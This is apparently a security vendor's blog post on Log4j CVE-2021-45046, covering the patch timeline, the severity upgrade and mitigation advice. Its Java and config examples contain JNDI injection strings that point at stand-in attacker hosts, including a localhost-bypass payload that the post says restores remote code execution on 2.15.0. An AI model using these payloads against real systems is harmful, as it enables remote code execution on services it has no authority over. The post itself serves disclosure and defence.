The logo gets worse as the situation gets worse...
Originally Posted @ December 17th & Last Updated @ December 19th, 3:37pm PST
Earlier today, the second Log4j vulnerability (CVE-2021-45046), was upgraded from a CVSS score of 3.7
(limited DOS) to a CVSS score of 9.0 (limited RCE). Note: the reported
limited RCE has only been proven to be exploitable on macOS at the moment. We expect, in time, that other operating systems
will also be shown to be exploitable. Update: More operating systems have been showing to be vulnerable: MacOS, Fedora, Arch Linux, and Alpine Linux.
See the bottom of this post for an example exploit payload that bypasses the checks in log4j 2.15.0
.
Just trying to patch Log4Shell? Please read our dedicated Mitigation Guide.
Context on CVE Timeline
The Log4j team had previously released version 2.15.0
on December 6th to address, which at the time had only been
privately disclosed, the Log4Shell vulnerability that abused JNDI and LDAP to allow for an easily exploitable RCE
vulnerability. We posted a
blog post about this new RCE that, at the time, was only being posted
about by the Chinese InfoSec community on December 9th, 2021. This post made the broader InfoSec community aware of the
ongoing exploitation and resulted in a frenzy as Java developers worked to patch themselves.
The following day, on December 10th, an official CVE was associated with this RCE vulnerability as CVE-2021-44228 with the maximum possible CVSS score of 10.0.
In the days afterwards, it was realized that this fix was incomplete as bypasses were found that could result in a
limited DOS for 2.15.0
users, and, for users that had patched older Log4j releases using formatMsgNoLookups
, these
bypasses could be used to allow for limited RCE.
Version 2.16.0
was released on December 13th to address the vulnerabilities by completely disabling JNDI by default.
The next day, on December 14th, the second vulnerability was officially given a dedicated CVE numbered CVE-2021-45046
with a limited 3.7 (now 9.0).
In this post, we're going to talk about the impact of these changes, and about why the CVSS score has changed so drastically.
Understanding the new bypass
With more attention on the Log4j library now from the security community, we have seen security researchers digging into the
source code of this project. @pwntester announced on Twitter
that there is a possible RCE still present in 2.15.0
, under certain conditions.
2.15.0
with no formatMsgNoLookups mitigations is still vulnerable to RCE.2.15.0
without those mitigations is vulnerable only if attackers can control non-message parts of the pattern layout. Just to be clear,2.15.0
disables message text lookups by default- users need to enable them explicitly in the patterns with %m{lookups}. So mitigations are in place by default in2.15.0
.
Version 2.15.0
was released in order to prevent RCE by only allowing LDAP connections to local addresses by default. This
development for the CVE means that there exists a bypass to these newly added security measures. Not everyone who has updated
to 2.15.0
is vulnerable to RCE as it requires a specific logging configuration. Since the formatMsgNoLookups
property
is on by default in 2.15.0
, to be vulnerable to this RCE, message text lookups must be manually enabled with %m{lookups}
.
However, there even still are other ways in which a message lookup can take place. Some examples are discussed on the Log4j security page:
The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.
To summarize, 2.15.0
introduced changes to prevent remote connections in a message lookup (ie. a connection to some-attacker.com
will be blocked in: ${jndi:ldap://some-attacker.com/a}
), as well as disabled message lookups when logging by default:
String attackerData = "${jndi:ldap://some-attacker.com/a}";
// Message lookups are blocked in this log statement. Payload will not fire by default.
logger.info("Log string, but no lookup will happen: " + attackerData);
These changes were still not enough to prevent message lookups by default as there are other places in the code where this could take place:
// Put attacker controlled data in
ThreadContext.put("layout-pattern-value", attackerData);
An example log4j2.properties
file might look something like:
# The attacker data, "${jndi:ldap://some-attacker.com/a}", will be attempted to be looked up
appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
However, since only local connections were allowed in 2.15.0
, the impacts of this vulnerability were minimal.
The most impactful way to exploit this vulnerability was to have String attackerData = "${ctx:layout-pattern-value"
,
which would result in a recursive reference in the lookup. With the reported bypass of the restrictive remote connection
list, a full RCE is possible in the above code as we can access some-attacker.com
now.
It is strongly recommended that you update to 2.16.0
2.17.0
(updated 12/19), even if you have previously updated to 2.15.0
or 2.16.0
, to mitigate these
new bypasses. (Updated 12/19 due to new DOS found in 2.16.0
. Please upgrade to 2.17.0
to mitigate issues in previous versions.)
Update: The localhost Bypass is Discovered!
The bypass was posted on Twitter by Márcio Almeida early on December 17th.
This payload will bypass the network host restrictions in log4j 2.15.0
and allow full RCE again:
${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
We are still investigating how to have this exploit work properly on other operating systems. It has been proposed that
changing the default provider
to dns,sun
:
System.setProperty("http://sun.net.spi.nameservice.provider.1", "dns,sun")
will cause the exploit to bypass the allowed hosts check in 2.15.0
properly. However, we have not been able to replicate
this yet.
Stay Updated
Please follow us on Twitter or add yourself to our mailing list below, and we'll update you when we publish new findings.
If this post helped you, please share it with others to help them too.
Additional Information
We have published a series of posts about Log4Shell on our blog that you might be interested in:
- Mitigation Guide
- Original Log4Shell Announcement
- Part 1: Log4Shell Live Patch (Background Context)
- Part 2: Log4Shell Live Patch (Technical Deep-Dive)
Limited Offer: Free Security Assistance
We're also currently offering a free 30-minute consultation with one of our Security Engineers. If you're interested, please book some time with us here.
Updates
We're continuously keeping this post up-to-date as new information comes out. If you have any questions, or you're confused about our advice, please file an Issue on GitHub.
If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on GitHub.
Edits
- Added a note that RCE has only been provably exploitable on macOS.
- 12/19/21: Updated info about 2.17.0 release due to CVE.
- Added a note that the RCE has been provably exploitable on MacOS, Fedora, Arch Linux, and Alpine Linux.